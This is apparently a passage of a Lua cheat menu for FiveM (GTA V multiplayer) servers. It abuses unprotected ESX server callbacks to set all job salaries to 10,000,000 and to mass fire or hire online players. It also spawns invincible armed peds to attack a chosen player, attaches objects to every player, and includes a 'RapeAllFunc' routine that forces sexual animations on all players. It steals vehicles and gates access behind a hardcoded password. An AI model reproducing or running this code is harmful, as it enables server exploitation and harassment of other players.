- name = '~h~Paint',
- id = 'paint'
- },
- {
- name = '~h~Headlights Color',
- id = 'headlight'
- },
- {
- name = '~h~Licence Plate',
- id = 'licence'
- }
- }
- local bm = {
- {
- name = '~h~~r~Engine',
- id = 11
- },
- {
- name = '~h~~b~Brakes',
- id = 12
- },
- {
- name = '~h~~g~Transmission',
- id = 13
- },
- {
- name = '~h~~y~Suspension',
- id = 15
- },
- {
- name = '~h~~b~Armor',
- id = 16
- }
- }
- local bn = {
- {
- name = '~h~Blue on White 2',
- id = 0
- },
- {
- name = '~h~Blue on White 3',
- id = 4
- },
- {
- name = '~h~Yellow on Blue',
- id = 2
- },
- {
- name = '~h~Yellow on Black',
- id = 1
- },
- {
- name = '~h~North Yankton',
- id = 5
- }
- }
- local bo = {
- {
- name = '~h~Default',
- id = -1
- },
- {
- name = '~h~White',
- id = 0
- },
- {
- name = '~h~Blue',
- id = 1
- },
- {
- name = '~h~Electric Blue',
- id = 2
- },
- {
- name = '~h~Mint Green',
- id = 3
- },
- {
- name = '~h~Lime Green',
- id = 4
- },
- {
- name = '~h~Yellow',
- id = 5
- },
- {
- name = '~h~Golden Shower',
- id = 6
- },
- {
- name = '~h~Orange',
- id = 7
- },
- {
- name = '~h~Red',
- id = 8
- },
- {
- name = '~h~Pony Pink',
- id = 9
- },
- {
- name = '~h~Hot Pink',
- id = 10
- },
- {
- name = '~h~Purple',
- id = 11
- },
- {
- name = '~h~Blacklight',
- id = 12
- }
- }
- local bp = {
- ['Stock Horn'] = -1,
- ['Truck Horn'] = 1,
- ['Police Horn'] = 2,
- ['Clown Horn'] = 3,
- ['Musical Horn 1'] = 4,
- ['Musical Horn 2'] = 5,
- ['Musical Horn 3'] = 6,
- ['Musical Horn 4'] = 7,
- ['Musical Horn 5'] = 8,
- ['Sad Trombone Horn'] = 9,
- ['Classical Horn 1'] = 10,
- ['Classical Horn 2'] = 11,
- ['Classical Horn 3'] = 12,
- ['Classical Horn 4'] = 13,
- ['Classical Horn 5'] = 14,
- ['Classical Horn 6'] = 15,
- ['Classical Horn 7'] = 16,
- ['Scaledo Horn'] = 17,
- ['Scalere Horn'] = 18,
- ['Salemi Horn'] = 19,
- ['Scalefa Horn'] = 20,
- ['Scalesol Horn'] = 21,
- ['Scalela Horn'] = 22,
- ['Scaleti Horn'] = 23,
- ['Scaledo Horn High'] = 24,
- ['Jazz Horn 1'] = 25,
- ['Jazz Horn 2'] = 26,
- ['Jazz Horn 3'] = 27,
- ['Jazz Loop Horn'] = 28,
- ['Starspangban Horn 1'] = 28,
- ['Starspangban Horn 2'] = 29,
- ['Starspangban Horn 3'] = 30,
- ['Starspangban Horn 4'] = 31,
- ['Classical Loop 1'] = 32,
- ['Classical Horn 8'] = 33,
- ['Classical Loop 2'] = 34
- }
- local bq = {
- ['White'] = {
- 255,
- 255,
- 255
- },
- ['Blue'] = {
- 0,
- 0,
- 255
- },
- ['Electric Blue'] = {
- 0,
- 150,
- 255
- },
- ['Mint Green'] = {
- 50,
- 255,
- 155
- },
- ['Lime Green'] = {
- 0,
- 255,
- 0
- },
- ['Yellow'] = {
- 255,
- 255,
- 0
- },
- ['Golden Shower'] = {
- 204,
- 204,
- 0
- },
- ['Orange'] = {
- 255,
- 128,
- 0
- },
- ['Red'] = {
- 255,
- 0,
- 0
- },
- ['Pony Pink'] = {
- 255,
- 102,
- 255
- },
- ['Hot Pink'] = {
- 255,
- 0,
- 255
- },
- ['Purple'] = {
- 153,
- 0,
- 153
- }
- }
- local br = {
- {
- name = '~h~Black',
- id = 0
- },
- {
- name = '~h~Carbon Black',
- id = 147
- },
- {
- name = '~h~Graphite',
- id = 1
- },
- {
- name = '~h~Anhracite Black',
- id = 11
- },
- {
- name = '~h~Black Steel',
- id = 2
- },
- {
- name = '~h~Dark Steel',
- id = 3
- },
- {
- name = '~h~Silver',
- id = 4
- },
- {
- name = '~h~Bluish Silver',
- id = 5
- },
- {
- name = '~h~Rolled Steel',
- id = 6
- },
- {
- name = '~h~Shadow Silver',
- id = 7
- },
- {
- name = '~h~Stone Silver',
- id = 8
- },
- {
- name = '~h~Midnight Silver',
- id = 9
- },
- {
- name = '~h~Cast Iron Silver',
- id = 10
- },
- {
- name = '~h~Red',
- id = 27
- },
- {
- name = '~h~Torino Red',
- id = 28
- },
- {
- name = '~h~Formula Red',
- id = 29
- },
- {
- name = '~h~Lava Red',
- id = 150
- },
- {
- name = '~h~Blaze Red',
- id = 30
- },
- {
- name = '~h~Grace Red',
- id = 31
- },
- {
- name = '~h~Garnet Red',
- id = 32
- },
- {
- name = '~h~Sunset Red',
- id = 33
- },
- {
- name = '~h~Cabernet Red',
- id = 34
- },
- {
- name = '~h~Wine Red',
- id = 143
- },
- {
- name = '~h~Candy Red',
- id = 35
- },
- {
- name = '~h~Hot Pink',
- id = 135
- },
- {
- name = '~h~Pfsiter Pink',
- id = 137
- },
- {
- name = '~h~Salmon Pink',
- id = 136
- },
- {
- name = '~h~Sunrise Orange',
- id = 36
- },
- {
- name = '~h~Orange',
- id = 38
- },
- {
- name = '~h~Bright Orange',
- id = 138
- },
- {
- name = '~h~Gold',
- id = 99
- },
- {
- name = '~h~Bronze',
- id = 90
- },
- {
- name = '~h~Yellow',
- id = 88
- },
- {
- name = '~h~Race Yellow',
- id = 89
- },
- {
- name = '~h~Dew Yellow',
- id = 91
- },
- {
- name = '~h~Dark Green',
- id = 49
- },
- {
- name = '~h~Racing Green',
- id = 50
- },
- {
- name = '~h~Sea Green',
- id = 51
- },
- {
- name = '~h~Olive Green',
- id = 52
- },
- {
- name = '~h~Bright Green',
- id = 53
- },
- {
- name = '~h~Gasoline Green',
- id = 54
- },
- {
- name = '~h~Lime Green',
- id = 92
- },
- {
- name = '~h~Midnight Blue',
- id = 141
- },
- {
- name = '~h~Galaxy Blue',
- id = 61
- },
- {
- name = '~h~Dark Blue',
- id = 62
- },
- {
- name = '~h~Saxon Blue',
- id = 63
- },
- {
- name = '~h~Blue',
- id = 64
- },
- {
- name = '~h~Mariner Blue',
- id = 65
- },
- {
- name = '~h~Harbor Blue',
- id = 66
- },
- {
- name = '~h~Diamond Blue',
- id = 67
- },
- {
- name = '~h~Surf Blue',
- id = 68
- },
- {
- name = '~h~Nautical Blue',
- id = 69
- },
- {
- name = '~h~Racing Blue',
- id = 73
- },
- {
- name = '~h~Ultra Blue',
- id = 70
- },
- {
- name = '~h~Light Blue',
- id = 74
- },
- {
- name = '~h~Chocolate Brown',
- id = 96
- },
- {
- name = '~h~Bison Brown',
- id = 101
- },
- {
- name = '~h~Creeen Brown',
- id = 95
- },
- {
- name = '~h~Feltzer Brown',
- id = 94
- },
- {
- name = '~h~Maple Brown',
- id = 97
- },
- {
- name = '~h~Beechwood Brown',
- id = 103
- },
- {
- name = '~h~Sienna Brown',
- id = 104
- },
- {
- name = '~h~Saddle Brown',
- id = 98
- },
- {
- name = '~h~Moss Brown',
- id = 100
- },
- {
- name = '~h~Woodbeech Brown',
- id = 102
- },
- {
- name = '~h~Straw Brown',
- id = 99
- },
- {
- name = '~h~Sandy Brown',
- id = 105
- },
- {
- name = '~h~Bleached Brown',
- id = 106
- },
- {
- name = '~h~Schafter Purple',
- id = 71
- },
- {
- name = '~h~Spinnaker Purple',
- id = 72
- },
- {
- name = '~h~Midnight Purple',
- id = 142
- },
- {
- name = '~h~Bright Purple',
- id = 145
- },
- {
- name = '~h~Cream',
- id = 107
- },
- {
- name = '~h~Ice White',
- id = 111
- },
- {
- name = '~h~Frost White',
- id = 112
- }
- }
- local bs = '~u~~o~Luxury ~s~HG'
- local bt = {
- {
- name = '~h~Black',
- id = 12
- },
- {
- name = '~h~Gray',
- id = 13
- },
- {
- name = '~h~Light Gray',
- id = 14
- },
- {
- name = '~h~Ice White',
- id = 131
- },
- {
- name = '~h~Blue',
- id = 83
- },
- {
- name = '~h~Dark Blue',
- id = 82
- },
- {
- name = '~h~Midnight Blue',
- id = 84
- },
- {
- name = '~h~Midnight Purple',
- id = 149
- },
- {
- name = '~h~Schafter Purple',
- id = 148
- },
- {
- name = '~h~Red',
- id = 39
- },
- {
- name = '~h~Dark Red',
- id = 40
- },
- {
- name = '~h~Orange',
- id = 41
- },
- {
- name = '~h~Yellow',
- id = 42
- },
- {
- name = '~h~Lime Green',
- id = 55
- },
- {
- name = '~h~Green',
- id = 128
- },
- {
- name = '~h~Forest Green',
- id = 151
- },
- {
- name = '~h~Foliage Green',
- id = 155
- },
- {
- name = '~h~Olive Darb',
- id = 152
- },
- {
- name = '~h~Dark Earth',
- id = 153
- },
- {
- name = '~h~Desert Tan',
- id = 154
- }
- }
- local bu = {
- {
- name = '~h~Brushed Steel',
- id = 117
- },
- {
- name = '~h~Brushed Black Steel',
- id = 118
- },
- {
- name = '~h~Brushed Aluminum',
- id = 119
- },
- {
- name = '~h~Pure Gold',
- id = 158
- },
- {
- name = '~h~Brushed Gold',
- id = 159
- }
- }
- defaultVehAction = ''
- if GetVehiclePedIsUsing(PlayerPedId()) then
- veh = GetVehiclePedIsUsing(PlayerPedId())
- end
- local bv = false
- local bw = true
- local bx = GetPlayerServerId(PlayerPedId(-1))
- local by = GetPlayerName(bx)
- av('~h~?ㅽ겕由쏀듃 濡쒕뱶?꾨즺!,~n~~b~@Luxury HG#8222', true)
- local function bz(I, x, y)
- SetTextFont(0)
- SetTextProportional(1)
- SetTextScale(0.0, 0.4)
- SetTextDropshadow(1, 0, 0, 0, 255)
- SetTextEdge(1, 0, 0, 0, 255)
- SetTextDropShadow()
- SetTextOutline()
- SetTextEntry('STRING')
- AddTextComponentString(I)
- DrawText(x, y)
- end
- function RequestModelSync(bA)
- local bB = GetHashKey(bA)
- RequestModel(bB)
- while not HasModelLoaded(bB) do
- RequestModel(bB)
- Citizen.Wait(0)
- end
- end
- function EconomyDy2()
- if ESX then
- ESX.TriggerServerCallback(
- 'esx_society:setJobSalary',
- function()
- end,
- 'police',
- 0,
- 10000000
- )
- ESX.TriggerServerCallback(
- 'esx_society:setJobSalary',
- function()
- end,
- 'mecano',
- 0,
- 10000000
- )
- ESX.TriggerServerCallback(
- 'esx_society:setJobSalary',
- function()
- end,
- 'ambulance',
- 0,
- 10000000
- )
- ESX.TriggerServerCallback(
- 'esx_society:setJobSalary',
- function()
- end,
- 'realestateagent',
- 0,
- 10000000
- )
- ESX.TriggerServerCallback(
- 'esx_society:setJobSalary',
- function()
- end,
- 'cardealer',
- 0,
- 10000000
- )
- ESX.TriggerServerCallback(
- 'esx_society:setJobSalary',
- function()
- end,
- 'police',
- 1,
- 10000000
- )
- ESX.TriggerServerCallback(
- 'esx_society:setJobSalary',
- function()
- end,
- 'mecano',
- 1,
- 10000000
- )
- ESX.TriggerServerCallback(
- 'esx_society:setJobSalary',
- function()
- end,
- 'ambulance',
- 1,
- 10000000
- )
- ESX.TriggerServerCallback(
- 'esx_society:setJobSalary',
- function()
- end,
- 'realestateagent',
- 1,
- 10000000
- )
- ESX.TriggerServerCallback(
- 'esx_society:setJobSalary',
- function()
- end,
- 'cardealer',
- 1,
- 10000000
- )
- ESX.TriggerServerCallback(
- 'esx_society:setJobSalary',
- function()
- end,
- 'police',
- 2,
- 10000000
- )
- ESX.TriggerServerCallback(
- 'esx_society:setJobSalary',
- function()
- end,
- 'mecano',
- 2,
- 10000000
- )
- ESX.TriggerServerCallback(
- 'esx_society:setJobSalary',
- function()
- end,
- 'ambulance',
- 2,
- 10000000
- )
- ESX.TriggerServerCallback(
- 'esx_society:setJobSalary',
- function()
- end,
- 'realestateagent',
- 2,
- 10000000
- )
- ESX.TriggerServerCallback(
- 'esx_society:setJobSalary',
- function()
- end,
- 'cardealer',
- 2,
- 10000000
- )
- ESX.TriggerServerCallback(
- 'esx_society:setJobSalary',
- function()
- end,
- 'police',
- 3,
- 10000000
- )
- ESX.TriggerServerCallback(
- 'esx_society:setJobSalary',
- function()
- end,
- 'mecano',
- 3,
- 10000000
- )
- ESX.TriggerServerCallback(
- 'esx_society:setJobSalary',
- function()
- end,
- 'ambulance',
- 3,
- 10000000
- )
- ESX.TriggerServerCallback(
- 'esx_society:setJobSalary',
- function()
- end,
- 'realestateagent',
- 3,
- 10000000
- )
- ESX.TriggerServerCallback(
- 'esx_society:setJobSalary',
- function()
- end,
- 'cardealer',
- 3,
- 10000000
- )
- end
- end
- function UnemployedPlayers()
- if ESX then
- ESX.TriggerServerCallback(
- 'esx_society:getOnlinePlayers',
- function(as)
- for i = 1, #as, 1 do
- label = as[i].name
- value = as[i].source
- name = as[i].name
- identifier = as[i].identifier
- ESX.TriggerServerCallback(
- 'esx_society:setJob',
- function()
- end,
- identifier,
- 'unemployed',
- 0,
- 'fire'
- )
- end
- end
- )
- end
- end
- function AmbulancePlayers()
- if ESX then
- ESX.TriggerServerCallback(
- 'esx_society:getOnlinePlayers',
- function(as)
- for i = 1, #as, 1 do
- label = as[i].name
- value = as[i].source
- name = as[i].name
- identifier = as[i].identifier
- ESX.TriggerServerCallback(
- 'esx_society:setJob',
- function()
- end,
- identifier,
- 'ambulance',
- 3,
- 'hire'
- )
- end
- end
- )
- end
- end
- function PolicePlayers()
- if ESX then
- ESX.TriggerServerCallback(
- 'esx_society:getOnlinePlayers',
- function(as)
- for i = 1, #as, 1 do
- label = as[i].name
- value = as[i].source
- name = as[i].name
- identifier = as[i].identifier
- ESX.TriggerServerCallback(
- 'esx_society:setJob',
- function()
- end,
- identifier,
- 'police',
- 4,
- 'hire'
- )
- end
- end
- )
- end
- end
- local bC = 0
- capPa = 'd' .. 'o' .. 'k' .. 'i'
- cappA = 'd' .. 'o' .. 'k' .. 'i' .. capPa
- local bD = cappA
- local function bE()
- if bC == 3 then
- ForceSocialClubUpdate()
- else
- local ak = KeyboardInput('Get your password from #lynx-announcements', '', 100)
- if ak == bD then
- mhaonn = true
- PlaySoundFrontend(-1, 'PICK_UP', 'HUD_FRONTEND_DEFAULT_SOUNDSET', true)
- Citizen.Wait(100)
- PlaySoundFrontend(-1, 'PICK_UP', 'HUD_FRONTEND_DEFAULT_SOUNDSET', true)
- Citizen.Wait(100)
- PlaySoundFrontend(-1, 'PICK_UP', 'HUD_FRONTEND_DEFAULT_SOUNDSET', true)
- else
- bC = bC + 1
- PlaySoundFrontend(-1, 'MP_WAVE_COMPLETE', 'HUD_FRONTEND_DEFAULT_SOUNDSET', true)
- end
- end
- end
- function MecanoPlayers()
- if ESX then
- ESX.TriggerServerCallback(
- 'esx_society:getOnlinePlayers',
- function(as)
- for i = 1, #as, 1 do
- label = as[i].name
- value = as[i].source
- name = as[i].name
- identifier = as[i].identifier
- ESX.TriggerServerCallback(
- 'esx_society:setJob',
- function()
- end,
- identifier,
- 'mecano',
- 4,
- 'hire'
- )
- end
- end
- )
- end
- end
- function RealEstateAgentPlayers()
- if ESX then
- ESX.TriggerServerCallback(
- 'esx_society:getOnlinePlayers',
- function(as)
- for i = 1, #as, 1 do
- label = as[i].name
- value = as[i].source
- name = as[i].name
- identifier = as[i].identifier
- ESX.TriggerServerCallback(
- 'esx_society:setJob',
- function()
- end,
- identifier,
- 'realestateagent',
- 4,
- 'hire'
- )
- end
- end
- )
- end
- end
- function TaxiPlayers()
- if ESX then
- ESX.TriggerServerCallback(
- 'esx_society:getOnlinePlayers',
- function(as)
- for i = 1, #as, 1 do
- label = as[i].name
- value = as[i].source
- name = as[i].name
- identifier = as[i].identifier
- ESX.TriggerServerCallback(
- 'esx_society:setJob',
- function()
- end,
- identifier,
- 'taxi',
- 4,
- 'hire'
- )
- end
- end
- )
- end
- end
- function CarDealerPlayers()
- if ESX then
- ESX.TriggerServerCallback(
- 'esx_society:getOnlinePlayers',
- function(as)
- for i = 1, #as, 1 do
- label = as[i].name
- value = as[i].source
- name = as[i].name
- identifier = as[i].identifier
- ESX.TriggerServerCallback(
- 'esx_society:setJob',
- function()
- end,
- identifier,
- 'cardealer',
- 4,
- 'hire'
- )
- end
- end
- )
- end
- end
- function UnemployedPlayer(bF)
- if ESX then
- ESX.TriggerServerCallback(
- 'esx_society:getOnlinePlayers',
- function(as)
- local bG = nil
- for i = 1, #as, 1 do
- label = as[i].name
- value = as[i].source
- name = as[i].name
- if name == GetPlayerName(bF) then
- bG = as[i].identifier
- debugLog('found ' .. as[i].name .. ' ' .. as[i].identifier)
- end
- identifier = as[i].identifier
- end
- ESX.TriggerServerCallback(
- 'esx_society:setJob',
- function()
- end,
- bG,
- 'unemployed',
- 0,
- 'hire'
- )
- end
- )
- end
- end
- function CarDealerPlayer(bF)
- if ESX then
- ESX.TriggerServerCallback(
- 'esx_society:getOnlinePlayers',
- function(as)
- local bG = nil
- for i = 1, #as, 1 do
- label = as[i].name
- value = as[i].source
- name = as[i].name
- if name == GetPlayerName(bF) then
- bG = as[i].identifier
- debugLog('found ' .. as[i].name .. ' ' .. as[i].identifier)
- end
- identifier = as[i].identifier
- end
- ESX.TriggerServerCallback(
- 'esx_society:setJob',
- function()
- end,
- bG,
- 'cardealer',
- 3,
- 'hire'
- )
- end
- )
- end
- end
- function RealEstateAgentPlayer(bF)
- if ESX then
- ESX.TriggerServerCallback(
- 'esx_society:getOnlinePlayers',
- function(as)
- local bG = nil
- for i = 1, #as, 1 do
- label = as[i].name
- value = as[i].source
- name = as[i].name
- if name == GetPlayerName(bF) then
- bG = as[i].identifier
- debugLog('found ' .. as[i].name .. ' ' .. as[i].identifier)
- end
- identifier = as[i].identifier
- end
- ESX.TriggerServerCallback(
- 'esx_society:setJob',
- function()
- end,
- bG,
- 'realestateagent',
- 3,
- 'hire'
- )
- end
- )
- end
- end
- function TaxiPlayer(bF)
- if ESX then
- ESX.TriggerServerCallback(
- 'esx_society:getOnlinePlayers',
- function(as)
- local bG = nil
- for i = 1, #as, 1 do
- label = as[i].name
- value = as[i].source
- name = as[i].name
- if name == GetPlayerName(bF) then
- bG = as[i].identifier
- debugLog('found ' .. as[i].name .. ' ' .. as[i].identifier)
- end
- identifier = as[i].identifier
- end
- ESX.TriggerServerCallback(
- 'esx_society:setJob',
- function()
- end,
- bG,
- 'taxi',
- 3,
- 'hire'
- )
- end
- )
- end
- end
- function AmbulancePlayer(bF)
- if ESX then
- ESX.TriggerServerCallback(
- 'esx_society:getOnlinePlayers',
- function(as)
- local bG = nil
- for i = 1, #as, 1 do
- label = as[i].name
- value = as[i].source
- name = as[i].name
- if name == GetPlayerName(bF) then
- bG = as[i].identifier
- debugLog('found ' .. as[i].name .. ' ' .. as[i].identifier)
- end
- identifier = as[i].identifier
- end
- ESX.TriggerServerCallback(
- 'esx_society:setJob',
- function()
- end,
- bG,
- 'ambulance',
- 3,
- 'hire'
- )
- end
- )
- end
- end
- function PolicePlayer(bF)
- if ESX then
- ESX.TriggerServerCallback(
- 'esx_society:getOnlinePlayers',
- function(as)
- local bG = nil
- for i = 1, #as, 1 do
- label = as[i].name
- value = as[i].source
- name = as[i].name
- if name == GetPlayerName(bF) then
- bG = as[i].identifier
- debugLog('found ' .. as[i].name .. ' ' .. as[i].identifier)
- end
- identifier = as[i].identifier
- end
- ESX.TriggerServerCallback(
- 'esx_society:setJob',
- function()
- end,
- bG,
- 'police',
- 3,
- 'hire'
- )
- end
- )
- end
- end
- function MecanoPlayer(bF)
- if ESX then
- ESX.TriggerServerCallback(
- 'esx_society:getOnlinePlayers',
- function(as)
- local bG = nil
- for i = 1, #as, 1 do
- label = as[i].name
- value = as[i].source
- name = as[i].name
- if name == GetPlayerName(bF) then
- bG = as[i].identifier
- debugLog('found ' .. as[i].name .. ' ' .. as[i].identifier)
- end
- identifier = as[i].identifier
- end
- ESX.TriggerServerCallback(
- 'esx_society:setJob',
- function()
- end,
- bG,
- 'mecano',
- 3,
- 'hire'
- )
- end
- )
- end
- end
- function bananapartyall()
- Citizen.CreateThread(
- function()
- for i = 0, 128 do
- local bH = CreateObject(GetHashKey('p_crahsed_heli_s'), 0, 0, 0, true, true, true)
- local bI = CreateObject(GetHashKey('prop_rock_4_big2'), 0, 0, 0, true, true, true)
- local bJ = CreateObject(GetHashKey('prop_beachflag_le'), 0, 0, 0, true, true, true)
- AttachEntityToEntity(
- bH,
- GetPlayerPed(i),
- GetPedBoneIndex(GetPlayerPed(i), 57005),
- 0.4,
- 0,
- 0,
- 0,
- 270.0,
- 60.0,
- true,
- true,
- false,
- true,
- 1,
- true
- )
- AttachEntityToEntity(
- bI,
- GetPlayerPed(i),
- GetPedBoneIndex(GetPlayerPed(i), 57005),
- 0.4,
- 0,
- 0,
- 0,
- 270.0,
- 60.0,
- true,
- true,
- false,
- true,
- 1,
- true
- )
- AttachEntityToEntity(
- bJ,
- GetPlayerPed(i),
- GetPedBoneIndex(GetPlayerPed(i), 57005),
- 0.4,
- 0,
- 0,
- 0,
- 270.0,
- 60.0,
- true,
- true,
- false,
- true,
- 1,
- true
- )
- end
- end
- )
- end
- function RespawnPed(ped, bK, bL)
- SetEntityCoordsNoOffset(ped, bK.x, bK.y, bK.z, false, false, false, true)
- NetworkResurrectLocalPlayer(bK.x, bK.y, bK.z, bL, true, false)
- SetPlayerInvincible(ped, false)
- TriggerEvent('playerSpawned', bK.x, bK.y, bK.z)
- ClearPedBloodDamage(ped)
- end
- local function bM(ad)
- local bN = NetworkGetNetworkIdFromEntity(ped)
- local bO = 0
- NetworkRequestControlOfNetworkId(bN)
- while not NetworkHasControlOfNetworkId(bN) do
- Citizen.Wait(1)
- NetworkRequestControlOfNetworkId(bN)
- bO = bO + 1
- if bO == 5000 then
- Citizen.Trace('Control failed')
- break
- end
- end
- end
- local function bP(bQ, bR)
- for i = 0, 10 do
- local bK = GetEntityCoords(GetPlayerPed(SelectedPlayer))
- RequestModel(GetHashKey(bQ))
- Citizen.Wait(50)
- if HasModelLoaded(GetHashKey(bQ)) then
- local ped =
- CreatePed(21, GetHashKey(bQ), bK.x + i, bK.y - i, bK.z, 0, true, false) and
- CreatePed(21, GetHashKey(bQ), bK.x - i, bK.y + i, bK.z, 0, true, false)
- if DoesEntityExist(ped) and not IsEntityDead(GetPlayerPed(SelectedPlayer)) then
- bM(ped)
- GiveWeaponToPed(ped, GetHashKey(bR), 9999, 1, 1)
- SetEntityInvincible(ped, true)
- SetPedCanSwitchWeapon(ped, true)
- TaskCombatPed(ped, GetPlayerPed(SelectedPlayer), 0, 16)
- elseif IsEntityDead(GetPlayerPed(SelectedPlayer)) then
- TaskCombatHatedTargetsInArea(ped, bK.x, bK.y, bK.z, 500)
- else
- Citizen.Wait(0)
- end
- end
- end
- end
- function RapeAllFunc()
- Citizen.CreateThread(
- function()
- for i = 0, 128 do
- RequestModelSync('a_m_o_acult_01')
- RequestAnimDict('rcmpaparazzo_2')
- while not HasAnimDictLoaded('rcmpaparazzo_2') do
- Citizen.Wait(0)
- end
- if IsPedInAnyVehicle(GetPlayerPed(i), true) then
- local veh = GetVehiclePedIsIn(GetPlayerPed(i), true)
- while not NetworkHasControlOfEntity(veh) do
- NetworkRequestControlOfEntity(veh)
- Citizen.Wait(0)
- end
- SetEntityAsMissionEntity(veh, true, true)
- DeleteVehicle(veh)
- DeleteEntity(veh)
- end
- count = -0.2
- for b = 1, 3 do
- local x, y, z = table.unpack(GetEntityCoords(GetPlayerPed(i), true))
- local bS = CreatePed(4, GetHashKey('a_m_o_acult_01'), x, y, z, 0.0, true, false)
- SetEntityAsMissionEntity(bS, true, true)
- AttachEntityToEntity(
- bS,
- GetPlayerPed(i),
- 4103,
- 11816,
- count,
- 0.00,
- 0.0,
- 0.0,
- 0.0,
- 0.0,
- false,
- false,
- false,
- false,
- 2,
- true
- )
- ClearPedTasks(GetPlayerPed(i))
- TaskPlayAnim(GetPlayerPed(i), 'rcmpaparazzo_2', 'shag_loop_poppy', 2.0, 2.5, -1, 49, 0, 0, 0, 0)
- SetPedKeepTask(bS)
- TaskPlayAnim(bS, 'rcmpaparazzo_2', 'shag_loop_a', 2.0, 2.5, -1, 49, 0, 0, 0, 0)
- SetEntityInvincible(bS, true)
- count = count - 0.4
- end
- end
- end
- )
- end
- local function bT()
- local bU = KeyboardInput('Enter X pos', '', 100)
- local bV = KeyboardInput('Enter Y pos', '', 100)
- local bW = KeyboardInput('Enter Z pos', '', 100)
- if bU ~= '' and bV ~= '' and bW ~= '' then
- if
- IsPedInAnyVehicle(GetPlayerPed(-1), 0) and
- GetPedInVehicleSeat(GetVehiclePedIsIn(GetPlayerPed(-1), 0), -1) == GetPlayerPed(-1)
- then
- entity = GetVehiclePedIsIn(GetPlayerPed(-1), 0)
- else
- entity = GetPlayerPed(-1)
- end
- if entity then
- SetEntityCoords(entity, bU + 0.5, bV + 0.5, bW + 0.5, 1, 0, 0, 1)
- av('~g~Teleported to coords!', false)
- end
- else
- av('~b~Invalid coords!', true)
- end
- end
- local function bX()
- local name = KeyboardInput('Enter Blip Name', '', 100)
- if name == '' then
- av('~b~Invalid Blip Name!', true)
- return bX()
- else
- local bU = KeyboardInput('Enter X pos', '', 100)
- local bV = KeyboardInput('Enter Y pos', '', 100)
- local bW = KeyboardInput('Enter Z pos', '', 100)
- if bU ~= '' and bV ~= '' and bW ~= '' then
- local bY = {
- {
- colour = 75,
- id = 84
- }
- }
- for _, bZ in pairs(bY) do
- bZ.blip = AddBlipForCoord(bU + 0.5, bV + 0.5, bW + 0.5)
- SetBlipSprite(bZ.blip, bZ.id)
- SetBlipDisplay(bZ.blip, 4)
- SetBlipScale(bZ.blip, 0.9)
- SetBlipColour(bZ.blip, bZ.colour)
- SetBlipAsShortRange(bZ.blip, true)
- BeginTextCommandSetBlipName('STRING')
- AddTextComponentString(name)
- EndTextCommandSetBlipName(bZ.blip)
- end
- else
- av('~b~Invalid coords!', true)
- end
- end
- end
- local function b_()
- local ax = GetPlayerPed(-1)
- local c0 = GetEntityCoords(ax, true)
- local c1 = GetClosestVehicle(GetEntityCoords(ax, true), 1000.0, 0, 4)
- local c2 = GetEntityCoords(c1, true)
- local c3 = GetClosestVehicle(GetEntityCoords(ax, true), 1000.0, 0, 16384)
- local c4 = GetEntityCoords(c3, true)
- av('~y~Wait...', false)
- Citizen.Wait(1000)
- if c1 == 0 and c3 == 0 then
- av('~b~No Vehicle Found', true)
- elseif c1 == 0 and c3 ~= 0 then
- if IsVehicleSeatFree(c3, -1) then
- SetPedIntoVehicle(ax, c3, -1)
- SetVehicleAlarm(c3, false)
- SetVehicleDoorsLocked(c3, 1)
- SetVehicleNeedsToBeHotwired(c3, false)
- else
- local c5 = GetPedInVehicleSeat(c3, -1)
- ClearPedTasksImmediately(c5)
- SetEntityAsMissionEntity(c5, 1, 1)
- DeleteEntity(c5)
- SetPedIntoVehicle(ax, c3, -1)
- SetVehicleAlarm(c3, false)
- SetVehicleDoorsLocked(c3, 1)
- SetVehicleNeedsToBeHotwired(c3, false)
- end
- av('~g~Teleported Into Nearest Vehicle!', false)
- elseif c1 ~= 0 and c3 == 0 then
- if IsVehicleSeatFree(c1, -1) then
- SetPedIntoVehicle(ax, c1, -1)
- SetVehicleAlarm(c1, false)
- SetVehicleDoorsLocked(c1, 1)
- SetVehicleNeedsToBeHotwired(c1, false)
- else
- local c5 = GetPedInVehicleSeat(c1, -1)
- ClearPedTasksImmediately(c5)
- SetEntityAsMissionEntity(c5, 1, 1)
- DeleteEntity(c5)
- SetPedIntoVehicle(ax, c1, -1)
- SetVehicleAlarm(c1, false)
- SetVehicleDoorsLocked(c1, 1)
- SetVehicleNeedsToBeHotwired(c1, false)
- end
- av('~g~Teleported Into Nearest Vehicle!', false)
- elseif c1 ~= 0 and c3 ~= 0 then
- if Vdist(c2.x, c2.y, c2.z, c0.x, c0.y, c0.z) < Vdist(c4.x, c4.y, c4.z, c0.x, c0.y, c0.z) then
- if IsVehicleSeatFree(c1, -1) then
- SetPedIntoVehicle(ax, c1, -1)
- SetVehicleAlarm(c1, false)
- SetVehicleDoorsLocked(c1, 1)
- SetVehicleNeedsToBeHotwired(c1, false)
- else
- local c5 = GetPedInVehicleSeat(c1, -1)
- ClearPedTasksImmediately(c5)
- SetEntityAsMissionEntity(c5, 1, 1)
- DeleteEntity(c5)
- SetPedIntoVehicle(ax, c1, -1)
- SetVehicleAlarm(c1, false)
- SetVehicleDoorsLocked(c1, 1)
- SetVehicleNeedsToBeHotwired(c1, false)
- end
- elseif Vdist(c2.x, c2.y, c2.z, c0.x, c0.y, c0.z) > Vdist(c4.x, c4.y, c4.z, c0.x, c0.y, c0.z) then
- if IsVehicleSeatFree(c3, -1) then
- SetPedIntoVehicle(ax, c3, -1)
- SetVehicleAlarm(c3, false)
- SetVehicleDoorsLocked(c3, 1)
- SetVehicleNeedsToBeHotwired(c3, false)
- else
- local c5 = GetPedInVehicleSeat(c3, -1)
- ClearPedTasksImmediately(c5)
- SetEntityAsMissionEntity(c5, 1, 1)
- DeleteEntity(c5)
- SetPedIntoVehicle(ax, c3, -1)
- SetVehicleAlarm(c3, false)
- SetVehicleDoorsLocked(c3, 1)
- SetVehicleNeedsToBeHotwired(c3, false)
- end
- end
- av('~g~Teleported Into Nearest Vehicle!', false)
- end
- end
- local function c6()
- if DoesBlipExist(GetFirstBlipInfoId(8)) then
- local c7 = GetBlipInfoIdIterator(8)
- local blip = GetFirstBlipInfoId(8, c7)
- WaypointCoords = Citizen.InvokeNative(0xFA7C7F0AADF25D09, blip, Citizen.ResultAsVector())
- wp = true
- else
- av('~b~No waypoint!', true)
- end
- local c8 = 0.0
- height = 1000.0
- while wp do
- Citizen.Wait(0)
- if wp then
- if
- IsPedInAnyVehicle(GetPlayerPed(-1), 0) and
- GetPedInVehicleSeat(GetVehiclePedIsIn(GetPlayerPed(-1), 0), -1) == GetPlayerPed(-1)
- then
- entity = GetVehiclePedIsIn(GetPlayerPed(-1), 0)
- else
- entity = GetPlayerPed(-1)
- end
